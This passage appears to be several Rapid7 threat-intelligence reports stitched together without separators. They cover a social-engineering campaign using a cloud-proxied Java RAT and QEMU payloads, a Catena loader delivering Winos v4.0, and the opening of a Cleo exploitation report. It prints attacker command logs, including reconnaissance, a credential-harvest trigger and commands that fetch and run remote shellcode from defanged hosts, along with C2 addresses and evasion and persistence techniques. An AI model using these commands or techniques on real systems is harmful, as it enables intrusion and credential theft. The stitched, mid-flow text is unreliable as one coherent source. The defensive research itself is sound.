After the affiliate has successfully gained access they will typically transfer and execute malware on the compromised system. The specific malware differs per operator and typically marks the stage in which the access is passed from the caller to an operator within the group who specializes in what they refer to as “pentesting.” To facilitate the access, the operator who calls typically coordinates with the “pentester” to increase the chances of success. At this point in the attack the affiliate who called the user has already hung up under the guise of having fixed the spam problem, and the “pentester” then begins to enumerate the environment. Rapid7 has observed AS-REP and Kerberoasting attacks to be commonly attempted along with Active Directory Certificate Services (ADCS) abuse and other types of brute force password attacks.

Technical Analysis

After initial access has been achieved, the follow-on malware payloads that are downloaded to the compromised system and executed differ, per operator.

Java RAT

A large volume of social engineering incidents handled by Rapid7 have resulted in a Java RAT being downloaded and executed. This tactic was first observed by Rapid7 during October of 2024, and initially reported on in December 2024 in relation to the payload identity.jar. The first samples of the Java RAT observed by Rapid7 only utilized Microsoft OneDrive with optional proxy servers (e.g., SOCKS5) for a more direct C2 connection. The configuration was left in plain text, and did not contain any functionality to dynamically update or encrypt the configuration, primarily functioning only as a RAT via PowerShell session commands.

In the past 6+ months, development of the Java malware payload has continued to add/change numerous features. The Java malware now abuses cloud-based file hosting services provided by both Google and Microsoft to proxy commands through the respective cloud service provider’s (CSP) servers. Over time, the malware developer has shifted away from direct proxy connections (i.e., the config option is left blank or not present), towards OneDrive and Google Sheets, and most recently, towards simply using Google Drive. The logic of the RAT is obfuscated using various types of junk code, control flow obfuscation, and string obfuscation in an attempt to impede analysis.

Figure 8. Obfuscated logic within the Java RAT, where three simple statements become dozens of lines and indentations.

The Java RAT and other payloads are distributed within an archive, the link for which is most often sent to the target user via a pastebin[.]com link. In cases as recent as May of 2025, Rapid7 has observed that the archives are still being publicly hosted on potentially compromised SharePoint instances. The archive and the payloads within are named to fit the initial social engineering lure. For example, in a recent incident, the archive was named Email-Focus-Tool.zip, likely to help prevent suspicion by the targeted user during the attack. The archive contains a .jar file (the Java RAT), a copy of required JDK dependencies contained within a child folder, and at least one .lnk file intended to make the malware easy to execute.

Figure 9. The contents of an archive delivered by the threat actor and a `log.txt` file containing enumeration command output.

The archive is most often extracted to the staging directory C:\ProgramData\ prior to execution. In at least one case, Rapid7 has also observed the operator who initiated the attack outputting system enumeration data to a plaintext file in the same directory, a technique commonly used in the past by Black Basta. Historically, this is information that they share during the initial stages of the attack to assess the network and the type of defenses they may have to deal with. For example, shown above, the operator who initially accessed the compromised asset spawned a command prompt and redirected the output of the ipconfig /all and tasklist commands to the file log.txt.

Most recent versions of the Java RAT have the capability to use Google Sheets to dynamically update the stored C2 configuration, which includes a Google spreadsheet ID (SSID), proxy server IPv4 addresses, application credentials (OneDrive), and/or service account credentials (Google Drive). At least one of the Google Spreadsheets used in this way was observed by Rapid7 to have been taken down by Google, which highlights the potential unreliability of using certain cloud services as a malware traffic proxy.

Figure 10. A Google spreadsheet used by the malware for dynamic configuration updates was taken down by Google.

One of the first actions taken by the malware on launch is to check for an existing configuration in the user’s registry, and if it is not already present, the copy included within the .jar payload, contained within the file config.json, is written there. All samples analyzed by Rapid7 did not have debugging messages removed, allowing them to be viewed by simply executing the .jar file in a console window, as all the debugging messages are written to stdout.

Figure 11. Debug statement output after executing the Java RAT via console.

The registry value name(s) and content for the stored config are both base64 encoded (e.g., HKCU\SOFTWARE\FENokuuTCyVq\JJSUP0CEcUw9PENaNduhsA==), with the decoded configuration content being encrypted using AES-256-ECB. The encryption key is derived from a seed that is stored as a 16 byte string within a file named ek (encryption key), that is contained within the .jar archive. The registry key name, a randomized alphabetic string, is hard coded and stored in a similar manner within the file r_path (registry path). The malware creates a SHA256 hash of the encryption key seed string, and the first 32 bytes of the SHA256 hash are then used as the AES-256-ECB key to encrypt and decrypt the malware’s configuration. Every sample analyzed by Rapid7 contained a unique key seed, though a particular sample is often distributed (within the related archive) to multiple targets for an extended period of time, often around a couple weeks.

After checking and loading the configuration from the registry, local resource, or updated configuration, the RAT will then establish at least one PowerShell session.

Figure 12. Example process tree for the Java RAT.

The stdin and stdout for the PowerShell console are used to process remote commands. The commands sent to the Java RAT are proxied through the respective CSP by the malware creating two specific files within the cloud drive. The name of the files all contain the UUID of the infected asset, which is retrieved at the malware’s startup. There are two prefixes added onto the primary communication files, cf_ and rf_ which contextually appear to stand for create file and receive file, respectively. These two files correspond to the standard output (stdin) and standard input (stdin) of the PowerShell console. The malware uses the input file in two major ways. If the cf_ file (stdin) starts with a specific command string, the content following it will be processed by the malware to execute functionality implemented by the malware developer.

Figure 13. The logic for the `loginform` command within the if-else command processing chain used by the Java RAT. The malware developer did not update one of the debug statements for Google Drive.
Otherwise, the content will be executed as a regular PowerShell command.

Figure 14. The default case in the if-else chain executes the command string via PowerShell.

Figure 15. The 'execute()' function within the same class executes the command string as a PowerShell command via jPowerShell.

Table 1. Command key for the Java RAT.

The previously seen credential harvesting payload, identity.jar, has now also been integrated into the Java RAT, and instead of writing the entered credentials to a randomly named file within the working directory, the RAT sends it to the cloud drive C2 file that has been designated to the compromised host. This functionality is executed by the operator by sending the loginform (the Java class is abbreviated as “Lf”) command to the RAT via the cloud drive file. After decompiling and deobfuscating the Java code that the module consists of, it can be cleaned up, recompiled, and executed as a standalone program. This allows us to see that the appearance of the module to the targeted user is the same, including the fake “Windows Security” title. A review of the code indicates that it has not changed in any other significant way. The harvester still forces the active window on top and will not let the user close the window without entering their password or forcibly terminating the process.

As a result of the cloud service credentials being stored within the malware payload, and that, for example, Google Drive stores a revision history for every created file by default, it is possible to view the entire history of commands sent to each infected asset, including stdin and stdout.
This gives a unique in console view of what the threat actor saw while they were hands-on-keyboard and executing commands. Command log snippets can be seen below, with identifying information redacted. Once access is established, the operator nearly always verifies the user’s name with the dir command and then uses this information to execute the loginform command, as the malware does not retrieve the executing user’s name on its own.

Infected Host GUID: 4C4C4544-0038-4610-8036-B6C04F394733 2025-04-24T16:53:34.038Z: dir c:\users\ 2025-04-24T16:54:47.967Z: loginform <username> 3 2025-04-24T18:40:36.584Z: net time 2025-04-24T18:42:54.426Z: whoami 2025-04-24T18:43:48.284Z: net user <username> /domain 2025-04-24T18:48:35.089Z: hostname 2025-04-24T18:49:57.182Z: net group "Domain Computers" /domain 2025-04-24T18:50:56.578Z: net time 2025-04-24T19:17:14.259Z: ipconfig /all 2025-04-24T19:19:44.442Z: hostname

Infected Host GUID: 594045B3-008B-4106-8FF4-B850DF6C76D0 2025-04-24T17:20:09.896Z: dir c:\users\ 2025-04-24T17:20:58.179Z: loginform <username> 3 2025-04-24T17:36:52.542Z: wmic qfe list brief 2025-04-24T17:40:13.454Z: net time 2025-04-24T17:41:26.860Z: ping -n 2 <domain_controller_hostname> 2025-04-24T17:49:08.598Z: net group "Domain Computers" /domain > c:\users\public\001.txt

In some cases, Rapid7 has observed a command log gap ranging from around 4 to 12 days, beginning after the RAT is successfully executed and the user’s credentials have been stolen. In some cases an SSH tunnel is also established before activity stops. This type of behavior indicates that the threat actor may not be intending to use the access for themselves, but rather sell it to another group that specializes in fully compromising the network towards various ends (e.g., data theft, extortion, ransomware). Rapid7 has also observed the access being used to test new malware payloads and functionality, rather than progress the compromise within the targeted networks.

Qemu

In a smaller volume of incidents handled by Rapid7, operators have been observed sending the user a Google Drive link to download a zip archive containing QEMU (Quick Emulator) and its dependencies, including a custom made .qcow2 (QEMU Copy-On-Write version 2) virtual disk image. The image contains a Windows 7 Ultimate virtual machine (VM) configured to automatically logon and execute a RunOnce registry key that launches a ScreenConnect installer. In most cases a link to a fake Quick Assist login page (credential harvester) was also delivered to the targeted user by proxy via a self-destructing link service such as 1ty[.]me alongside the Google Drive zip archive link.

Once the remote session is established in this way, the VM also contains a copy of QDoor, Rust malware that functions as a C2 proxy, which allows the the threat actors to tunnel C2 traffic through a proxy to the VM, on the infected machine in the target user’s environment. In all cases handled by Rapid7, the QEMU executable was renamed (e.g., w.exe/svvhost.exe), and, as the emulator of the VM, it is the source on the infected host machine for all network connections resulting from processes running inside the VM. QDoor malware has been attributed to the BlackSuit ransomware group by ConnectWise.

In more recent cases, Rapid7 has observed the BlackSuit affiliates distributing a much smaller (64MB vs. 8.6GB) .qcow2 image that contains TinyCore Linux. When the image is loaded by QEMU, the bootlocal[.]sh script that is executed upon startup of the TinyCore OS has been set by the threat actors to sleep unless a successful ping is made to one of their servers. Once the ping is successful, an ELF file, 123.out is executed which attempts to connect to a C2 server.

Within the command log of the VM image, .ash_history, a wget command is also present which indicates the external server that the 123.out file was originally downloaded to the VM from.

In an alternate tc.qcow2 payload observed by Rapid7, the TinyCore VM boot script will unconditionally execute two ELF files, nossl and ssl. These ELF payloads function as multi-threaded socks proxies, where the ssl copy uses the OpenSSL library to encrypt traffic and ssl sends traffic in plaintext. In both cases, the ELF payloads send registration information to the C2 proxy server on port 53, which is typically used for DNS.

As shown below from the Black Basta chat leaks, BlackSuit has connections with the group, so the adaptation of their typical spear phishing attacks towards these types of social engineering attacks for initial access is unsurprising.

Malware Testing

After migrating the Java RAT’s functionality primarily to Google Drive, the threat actor developing the malware also began including the service account they use to test the malware within their own lab environment. The most recent versions of the RAT now also have the command screen which can download and execute a new Java class in memory. The threat actor first tested this in their own lab before trying it in infected devices that they had gained access to, as seen in the command logs below. Despite the name of the command and the name of the Java class that the test payload has (Screenshot), the payloads have varying functionality, but are generally intended to dynamically add new functionality to the RAT. The first test payload observed loads the Java class Screenshot, which then downloads a shellcode blob via a hard coded URL, and injects it into a new java.exe process using the WINAPI calls VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread.

The analyzed test shellcode payload would then perform local PE injection for an embedded Rust PE using NTAPI calls, which for the purposes of the test appears to only spawn a confirmation message box. The Rust PE has an original filename of testapp.exe, a PDB named testapp.pdb, and was originally compiled on 2025-04-10T15:45:28Z. Notably, the Rust PE did have the Windows Graphics Device Interface (GDI) library and several related function imports as dependencies, which could be used to access or manipulate the screen, but did not appear to be fully implemented yet.

The screen command was then successfully used several times in compromised environments, though for different reasons. In one case the operator simply used it as a way to check the external IP address of the infected host. The command log below shows the threat actor testing the screen command for the first recorded time, using the payload with the embedded Rust PE, within their lab, shortly before starting a new spamming/social engineering attack run (during which they would distribute several copies of the malware).

Input@2025-04-23T17:12:32.203Z: screen hxxps://tesets[.]live/download/javacode.txt Output@2025-04-23T17-13-02.754Z: start shellcode done

In compromised environments however, the functionality was only observed in use as an external IP checking utility per the following command log.

Input@2025-05-07T17:36:59.102Z: screen hxxps://andrewjboyd[.]com/file/jc3_old_version.txt Output@2025-05-07T17-37-05.261Z: start shellcode done Input@2025-05-07T17:38:30.923Z: type c:\users\public\info.txt Output@2025-05-07T17-38-40.100Z: <redacted_public_ipv4_address_for_compromised_system>

Rapid7 observed at least one other Rust malware payload, updater.exe being used by the threat actor, which appeared to be a custom loader for the SSH utility, containing the PDB name rust_serverless_killer.pdb. As many of the compromises facilitated by the social engineering attacks have resulted in SSH reverse tunnels being established to provide access, the loader is likely an attempt to evade detections targeting SSH commands by obscuring the related metadata. The SSH executable being loaded has the same functionality however, and as a result the command line arguments that must be passed remain the same.

The threat actor tested a variety of functionality for the Java RAT within their test lab. This includes the zipped python RAT the group would historically upload, decompress and execute (facilitated by the built in send and extract commands), or distribute instead of the Java RAT. The python RAT has a similar command menu to that of the Java RAT. The python RAT has also been previously analyzed by Gdata with similar findings, who refer to it as Anubis (likely based on the source code) and attribute the malware to the FIN7 group.

InputStart@2025-03-28T13:31:01.430Z: checkconfig InputStart@2025-04-01T15:21:49.251Z: recive c:\programdata\video\log.txt InputStart@2025-04-03T17:01:26.653Z: send C:\Users\Public\Libraries\nature.zip extract C:\Users\Public\Libraries\nature.zip\qwerty dir c:\users\ InputStart@2025-03-28T14:01:17.825Z: checkconfig newconfig InputStart@2025-04-01T13:16:18.589Z: send C:\Users\Public\Libraries\nature.zip startsocks5 C:\Users\Public\Libraries\nature\debug.exe C:\Users\Public\Libraries\nature\test.py

Several commands executed in the threat actor’s test lab can be seen above, where the python based payload was delivered via the Java RAT. In several past incidents handled by Rapid7 the name of initial payload archives containing python malware was Cloud_Email_Switch.zip and the script was named conf.py, where the script was executed via a copy of pythonw.exe that had its metadata stripped. The threat actor appears to have now moved to using the Java RAT primarily instead of the python version, although the Java payload retains the functionality to upload, extract, and execute python scripts.

Table 2. Command key for the python RAT.

Among the output of the commands the threat actor ran in their test lab, we can also see a listing of their Downloads directory. The output shows that they have likely been developing Rust malware since at least 2024-09-21. The test lab is most likely also the environment in which they compiled testapp.exe as Rust executables contain cargo references which include the user’s name, for example: C:\Users\User\.cargo\registry\src\<truncated>. In contrast, updater.exe, the Rust SSH loader previously mentioned, references the user lucak.

Finally, while setting up the testing environment, the threat actor made changes to several Google Drive files from what appears to be a personal Gmail account: palomo************[@]gmail[.]com. These changes were visible as numerous versions of the Java RAT were distributed with the threat actor’s test lab Google Drive service account credentials included.

Mitigation Guidance

Rapid7 recommends taking the following precautions to limit exposure to these types of attacks:

Restrict the ability for external users to contact users via Microsoft Teams to the greatest extent possible. This can be done for example by blocking all external domains or creating a white/black list. Microsoft Teams will allow all external requests by default. For more information, see this reference.
Standardize remote management tools within the environment. For unapproved tools, block known hashes and domains to prevent usage. Hash blocking can be done, for example, via Windows AppLocker or an endpoint protection solution.
Provide user awareness training regarding the social engineering campaign. Familiarize users with official help desk and support procedures to enable them to spot and report suspicious requests.
Standardize VPN access. Traffic from known low cost VPN solutions should be blocked at a firewall level if there is no business use case.
Require Multi-Factor Authentication (MFA) across the environment. Single factor authentication facilitates a large number of compromises. For example, If an attacker steals a user’s credentials and acquires the network’s VPN configuration, no MFA on the VPN allows them to easily access the environment.
Regularly update software and firmware. Ransomware groups like Black Basta are known to purchase exploits for initial access.

Rapid7 Customers

InsightIDR, Managed Detection and Response, and Managed Threat Complete customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this activity:

MITRE ATT&CK Techniques

Indicators of Compromise

All indicators of compromise are available at the Rapid7 GitHub repository.

Executive summary

Rapid7 has been tracking a malware campaign that uses fake software installers disguised as popular apps like VPN and QQBrowser—to deliver Winos v4.0, a hard-to-detect malware that runs entirely in memory and gives attackers remote access.

The campaign was first spotted during a February 2025 MDR investigation. Since then, we’ve seen more samples using the same infection method—a multi-layered setup we call the Catena loader. Catena uses embedded shellcode and configuration switching logic to stage payloads like Winos v4.0 entirely in memory, evading traditional antivirus tools.

Once installed, it quietly connects to attacker-controlled servers—mostly hosted in Hong Kong—to receive follow-up instructions or additional malware. While we’ve seen no signs of widespread targeting, the operation appears focused on Chinese-speaking environments and shows signs of careful, long-term planning by a capable threat group.

Rapid7 has deployed detections for this activity and continues to monitor for new variants. Indicators and analysis related to this campaign are available in Rapid7 Intelligence Hub.

Introduction

This blog covers a malware campaign tracked by Rapid7 that uses trojanized NSIS installers to deploy Winos v4.0, a stealthy, memory-resident stager. The first sample was flagged during a February 2025 MDR investigation. Following that case, we identified additional related samples through threat hunting and malware analysis.

All observed samples relied on NSIS installers bundled with signed decoy apps, shellcode embedded in `.ini` files, and reflective DLL injection to quietly maintain persistence and avoid detection. We refer to this full infection chain as Catena, due to its modular, chain-like structure.

The campaign has so far been active throughout 2025, showing a consistent infection chain with some tactical adjustments—pointing to a capable and adaptive threat actor.

In this report, we start with a brief recap of the February 2025 MDR incident, which was also covered by other researchers. We then focus on newer samples found later in 2025 that follow the same core infection chain but introduce changes in delivery, tooling, and evasion—highlighting how the campaign continues to evolve.

How it started: QQBrowser Installer in MDR Case

In February 2025, Rapid7’s MDR team detected suspicious activity on a customer asset involving a trojanized NSIS installer masquerading as QQBrowser installer `QQBrowser_Setup_x64.exe`. While the file initially appeared legitimate, further analysis revealed it delivered malware via a multi-stage, memory-resident loader chain. Upon execution, the installer created an Axialis directory under %APPDATA% and dropped several files:

• `Axialis.vbs` – a VBScript launcher
• `Axialis.ps1` – a PowerShell-based loader
  `Axialis.dll` – a malicious DLL
• `Config.ini` and `Config2.ini` – binary configuration files containing shellcode and embedded payloads
• A desktop shortcut and the original QQBrowser setup binary used for deception

Upon execution, the malware follows this chain shown below.

Figure 1: QQBrowser-Based Infection Flow Observed in MDR Case

During runtime analysis, the `Axialis.dll` loader creates the mutex `VJANCAVESU` via the `CreateMutexA` API. If the mutex exists, it loads `Config2.ini`; if not, it loads `Config.ini`.

This behavior has been described by other researchers, who observed similar configuration switching logic in the DeepSeek campaigns — where the selected payload depended on the infection state. Both `.ini` files contain shellcode and embedded payload DLLs, all loaded and executed reflectively in memory.

Rapid7 analysis confirmed that the shellcode in `Config.ini` was built using the open-source sRDI loader.

The malware communicates with hardcoded command-and-control (C2) infrastructure over TCP port 18856 and HTTPS port 443.

Persistence is achieved through a combination of process monitoring and scheduled task registration. The embedded DLL in `Config.ini` created and executed  `Monitor.bat`, which continuously checked for malware processes and relaunched them if terminated.  ​​To ensure persistence, the malware dropped `updated.ps1` and `PolicyManagement.xml`, which are used to register a scheduled task that re-executes the VBS loader `Decision.vbs` via `wscript.exe`.

Figure 3: Scheduled Task Triggering VBS Loader Decision.vbs

The scheduled task executed weeks after initial compromise, suggesting long-term persistence. Interestingly, the malware includes a language check that looks for Chinese language settings on the host system. But even if the system isn’t using Chinese, the malware still executes. This suggests the check isn’t actually enforced—it could be a placeholder, an unfinished feature, or something the attackers plan to use in future versions. Either way, its presence hints at an intent to focus on Chinese-language environments, even if that logic isn’t fully implemented yet.

While infrastructure details (e.g., C2 IPs) varied, for example in our case involving 156.251.17.243[:]18852 and the reference blog citing  27.124.40.155[:]18852 — both campaigns used similar communication ports (18852 and 443), suggesting that the activity belongs to the same threat actor.

Campaign evolution

Following the initial discovery, Rapid7 continued tracking the campaign throughout early 2025. During this period, multiple incidents were observed reusing the same infection chain—abusing trojanized NSIS installers, reflective DLL loading, shellcode-embedded INI files, and staged persistence mechanisms. These variants were often disguised as legitimate software such as LetsVPN, Telegram, or Chrome installers.

However, in April 2025, we observed a tactical shift. Threat actors began modifying their approach: for instance, staging scripts like `Axialis.ps1` were dropped entirely, DLLs were invoked directly using `regsvr32.exe`, and new samples showed more efforts to evade antivirus detection. These changes suggest an evolving playbook—one that retains core infrastructure and execution logic but adapts to detection pressure and operational constraints.

Evolving tactics: LetsVPN Installer leading to Winos v4.0

The diagram below illustrates the Catena execution chain as observed in the LetsVPN variant.

The following sections break down this chain, stage by stage—from the initial installer and script logic to in-memory payload delivery and infrastructure interaction.

Our analysis started with `Lets.15.0.exe` SHA-256: 1E57AC6AD9A20CFAB1FE8EDD03107E7B63AB45CA555BA6CE68F143568884B003, a trojanized NSIS installer masquerading as a VPN setup. The installer included a decoy executable `Iatsvpn-Latest.exe` and a license file to appear legitimate. However, its true purpose was to deploy multi-stage, memory-resident malware across several directories.

Upon execution, the installer stages components in:

• %LOCALAPPDATA%: first-stage loader `insttect.exe` and shellcode blob `Single.ini`
• %APPDATA%\TrustAsia: second-stage payloads `Config.ini`, `Config2.ini` and loader DLL `intel.dll`

The following sections walk through each step of this chain, starting with the NSIS installer and leading to in-memory payload execution.

Installer setup: NSIS script behavior

The `NSIS.nsi` script embedded in `Lets.15.0.exe` sets up both the fake VPN installation and the deployment of malware. It acts as the first step in the execution chain. The script starts by running a PowerShell command that adds Defender exclusions for all drives (C:\ to Z:), reducing system defenses.

First-stage payloads

The NSIS script begins by dropping initial payloads to %LOCALAPPDATA%:

• `Single.ini`: a binary blob combining sRDI shellcode and an embedded DLL
• `insttect.exe`: loader that reads and executes `Single.ini` in memory

Second-stage payloads

Next, the script drops second-stage files to %APPDATA%\TrustAsia:

• `Config.ini`, `Config2.ini`: alternate sRDI payloads loaded later based on mutex logic
• `intel.dll`:  a secondary loader invoked via regsvr32.exe

To trigger this second stage, the NSIS script executes:

As seen in the February 2025 MDR incident, the NSIS script completes the decoy setup by dropping `IatsvpnLatest.exe`ba0fd15483437a036e7f9dc91a65caa6e9b9494ed3793710257c450a30b88b8a and creating a desktop shortcut pointing to it. Despite the filename containing a typo, the binary is a legitimate LetsVPN executable, signed with a valid digital certificate.

The following sections outline the role of each dropped binary in the execution chain.

Stage 1: Execution of insttect.exe and Single.ini file

We analyzed `insttect.exe`, a trojanized loader masquerading as a legitimate Tencent PC Manager installer. The binary, titled 腾讯电脑管家在线安装程序 (machine translation: "Tencent PC Manager Online Installation Program" (in both metadata and resource strings).

The binary is signed with an expired certificate issued by VeriSign Class 3 Code Signing CA (2010) and allegedly belongs to Tencent Technology (Shenzhen), valid from 2018-10-11 to 2020-02-02.

The binary includes deceptive artifacts such as localized UI strings in Chinese, internal references to Tencent development paths, and hardcoded XML updater config pointing to `QQPCDownload.dll`

These elements reinforce the loader's appearance as legitimate software.

Upon execution, `insttect.exe` locates `%LOCALAPPDATA%\Single.ini`, allocates memory with PAGE_EXECUTE_READWRITE permissions, copies the file into that region, and transfers control to its start. As previously described, the payload uses the sRDI format—enabling the embedded shellcode to self-parse and reflectively load the DLL without separate extraction.

Windows API calls related to shellcode loading are resolved dynamically via hashed function names.

The DLL embedded within `Single.ini` takes a snapshot of running processes and continuously checks for `360tray.exe` and `360safe.exe`. These are components of 360 Total Security, a popular antivirus product developed by Chinese vendor Qihoo 360.

However, when tested with a dummy `360tray.exe`, the malware showed no response—neither terminating the process nor altering its own behavior.

Stage 2: Execution of intel.dll and Config.ini files

The `.nsi script` drops `intel.dll`, `Config.ini`, and `Config2.ini` into %APPDATA%\TrustAsia, and uses nsExec::Exec to invoke intel.dll via a regsvr32 call.

Both `Config.ini` and `Config2.ini` initially appeared benign due to their generic names. However, as with earlier payloads, both `.ini` are binary blobs containing shellcode formatted using the Shellcode Reflective DLL Injection (sRDI) technique described earlier.

As noted in the QQBrowser case, earlier variants loaded the shellcode from disk using PowerShell scripts. In this version, execution is handled entirely in memory via `regsvr32.exe`, which invokes `intel.dll`. As is typical for DLLs executed this way, `intel.dll` exports the `DllRegisterServer` function, which is automatically called.

While this shift avoids PowerShell, it’s not necessarily more evasive, since `regsvr32.exe` is a well-known LOLBin and is commonly monitored by modern EDR solutions. Upon execution, `intel.dll` loader creates a hardcoded mutex `99907F23-25AB-22C5-057C-5C1D92466C65` using the `CreateMutexA` API, and checks for the presence of two indicators: the mutex itself, and a file named `Temp.aps` in %APPDATA%\TrustAsia. If both are found, `Config2.ini` is loaded; otherwise, the default `Config.ini` is used.

Once the appropriate `.ini` file is chosen, the loader opens it using `CreateFileW` and loads its contents into memory. As seen in earlier stages, the `.ini` file contains a shellcode blob using the sRDI format, which self-parses and reflectively loads an embedded DLL.

The in-memory DLL, extracted and executed entirely from within the shellcode blob, exports a single function named `VFPower`, a naming convention consistent across all observed samples. Debug symbols embedded in the DLL reference a Chinese development path E:\冲锋\进行中\Code_Shellcode - 裸体上线用作注入\Release\Code_Shellcode.pdb (machine translation: E:\Charge\In Progress\Code_Shellcode - Naked online for injection \ Release \ Code _ Shellcode.pdb).

During runtime, this in-memory DLL creates a hardcoded mutex `zhuxianlu` (machine translation: main line) and verifies if it was launched from `UserAccountBroker.exe`. If true, it immediately initiates C2 communication, likely assuming it was started with elevated privileges. Otherwise, the malware continues execution by spawning five threads, each responsible for a specific task before ultimately reaching the same C2 routine.

The five threads carry out the following actions:

Thread 1 launches PowerShell via `ShellExecuteExA` to add a Microsoft Defender exclusion for the C:\ drive.

Thread 2 attempts to establish persistence via scheduled task registration as seen in the earlier QQBrowser incident described in the introduction. It generates two files:

`PolicyManagement.xml` — an XML file defining a scheduled task

`updated.ps1` — a PowerShell script that imports and registers the task

To ensure the script runs without restriction the malware first sets PowerShell policies to `Unrestricted` (for the current user) and `Bypass` (for the specific script). The scheduled task is configured to invoke `regsvr32.exe` at logon, which in turn re-executes either `intel.dll` or `insttect.exe` loader.

Although this operation failed during our analysis even with the Chinese language pack installed, it was attempted twice—we believe to ensure redundancy or persistence across both loaders. Both files `PolicyManagement.xml` and `updated.ps1` are deleted immediately after execution.

Thread 3 takes a snapshot of all running processes and scans for any instance of `Telegram.exe`, `telegram.exe`, or `WhatsApp.exe`. If any of these are detected, it creates an empty marker file named `Temp.aps` in %APPDATA%\TrustAsia, and then executes:

This triggers the second-stage loader. The presence of the `Temp.aps`alters the loader’s behavior, causing it to run `Config2.ini` instead of `Config.ini`.

Thread 4 checks for the existence of the file `TrustAsia\Exit.aps`. If found, the file is deleted and the malware terminates.

Thread 5 acts as a persistence watchdog for the second-stage loader. It creates two files: `target.pid`, which stores the process ID of the running regsvr32.exe instance executing `intel.dll` loader, and `monitor.bat`, a batch script that checks whether this process is still running. If not, the script attempts to relaunch it. This check runs every 15 seconds to ensure `intel.dll` remains continuously active.

Following thread execution, the final function is responsible for C2 communication. Since the earliest observed sample from February 2024, the malware has used Windows sockets and the `getaddrinfo` API to resolve a hardcoded IP and port 18852 which also seems to be consistent across all analyzed samples of `Config.ini`.

Once the connection is established, malware retrieves the next-stage payload from the C2 server, allocates a new memory region with PAGE_EXECUTE_READWRITE permissions, copies the downloaded content into memory, and transfers execution to it. This is the delivery of the final stage, observed as Winos v4.0 in recent samples.

Final payload Winos4.0

The `intel.dll` loader selects either `Config.ini` or `Config2.ini` based on runtime conditions, such as the presence of a mutex `VJANCAVESU` and a `Temp.aps` marker file. Each of these `.ini` files contains sRDI shellcode that connects to a different C2 server to download the next-stage payload which was Winos4.0 in our case.

In recent samples, the payloads were downloaded from:

`Config.ini` → 134.122.204[.]11:18852

`Config2.ini` → 103.46.185[.]44:443

Although being retrieved from different C2 servers, both payloads were nearly identical: 112 KB in size and structured as sRDI shellcode containing an embedded DLL. This DLL uses the same reflective loading technique seen in previous stages, exports a single-function `VFPower` and and includes debug metadata referencing a Chinese development path:

C:\Users\Administrator\Desktop\Quick4\主插件\Release\��线模块.pdb (machine translation: C:\Users\Administrator\Desktop\Quick4\Main Plug-in\Release\Online Module.pdb)

Based on available evidence supported by debug info, we can say this is Winos4.0 stager `上线模块.dll`( machine translation: `Online Module.dll`.)

Extracted configuration

The Winos v4.0 stager downloaded from 134.122.204[.]11:18852 contains an embedded configuration block. The data appears to control runtime behavior, C2 communication, and implant settings. A decoded sample is shown below:

Extracted Configuration from Payload (134.122.204[.]11:18852)

In previous incidents, Winos 4.0 has been linked to the Silver Fox APT group operation known for distributing malware like ValleyRAT via trojanized utilities and vulnerability exploitation. Notably, similar TTPs were observed in the CleverSoar campaign described by Rapid7 in November 2024 which also delivered Winos4.0 and checked system locale settings for Chinese or Vietnamese—suggesting targeting based on regional language.

Infrastructure

During our investigation, the hardcoded IP address 103.46.185[.]44 found in `Config.ini` was confirmed to host the final Winos 4.0 payload. Shodan scans showed it serving a binary blob that begins with recognizable sRDI shellcode and contains an embedded DLL identical to the Winos 4.0 stager ("Online Module") analyzed in this report.

Pivoting on this sample using Shodan hash -646083836, we identified eight additional IPs distributing the exact same payload: 112.213.101[.]161, 112.213.101[.]139, 103.46.185[.]73, 47.83.184[.]193, 202.79.173[.]50, 202.79.173[.]54, 202.79.173[.]98, and 103.46.185[.]44.

Each host returned identical byte sequences, indicating a shared and coordinated infrastructure distributing the same stage-one loader across multiple nodes, mostly hosted in Hong Kong.

To expand this infrastructure mapping, we extracted additional C2 addresses from historic MDR case data and active threat hunting leads. These included:

43.226.125[.]44:18852, 47.238.125[.]85:18852, 137.220.229[.]34:18852, 8.210.165[.]181:18852, 143.92.61[.]154:18852, 47.86.28[.]28:18852, 202.79.168[.]211:443, 27.122.59[.]71:443,
143.92.63[.]144:18852, 202.79.171[.]133:443, 112.213.116[.]91:18852

Pivoting on these nodes using Shodan hash correlations revealed additional infrastructure often resolving to the same ASNs or hosting providers, such as

CTG Server Ltd. / MEGA-II IDC (AS152194)
OK COMMUNICATION / LANDUPS LIMITED (AS150452)
Alibaba Cloud (AS45102)
Tcloudnet, Inc. (AS399077)

Conclusion

This campaign shows a well-organized, regionally focused malware operation using trojanized NSIS installers to quietly drop the Winos v4.0 stager. It leans heavily on memory-resident payloads, reflective DLL loading, and decoy software signed with legit certificates to avoid raising alarms.

The malware’s logic—using mutexes to choose payloads, hiding shellcode in INI files, and layering persistence tricks like scheduled tasks and watchdog scripts—points to an actor that’s refining, not reinventing, their playbook. Infrastructure overlaps and language-based targeting hint at ties to Silver Fox APT, with activity likely aimed at Chinese-speaking environments. Rapid7 continues to track this threat and has detections in place to help protect customers.

Indicators of compromise

File Indicators

Network Indicators

156.251.17.243[:]18852

134.122.204.11[:]18852

103.46.185.44[:]443

MITRE TTPs

More IOCs in our Github

https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/nsis-abuse-srdi-winos4

Rapid7 customers

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to Catena. We will also continue to iterate detections as new variants emerge, giving customers continuous protection without manual tuning:

• Suspicious Scheduled Task - Potential QQBrowser Scheduled Task Identified
• Suspicious Process - Potential QQBrowser Second Stage Execution

While investigating incidents related to Cleo software exploitation, Rapid7 Labs and MDR observed a novel, multi-stage attack that deploys an encoded Java Archive (JAR) payload. Our investigation revealed that the JAR file was part of a modular, Java-based Remote Access Trojan (RAT) system. This RAT facilitated system reconnaissance, file exfiltration, command execution, and encrypted communication with the attacker’s command-and-control (C2) server. Its modular architecture includes components for dynamic decryption, network management, and staged data transfer.

It’s worthwhile to note that this isn’t necessarily the only payload that has or will be deployed in attacks targeting Cleo software — it’s entirely possible an alternate payload could be leveraged. This underscores the importance of timely detection and response capabilities, as well as the critical role of monitoring assets that may be impacted by unknown zero-day threats.

At a high level, the attack flow can be visualized like so:

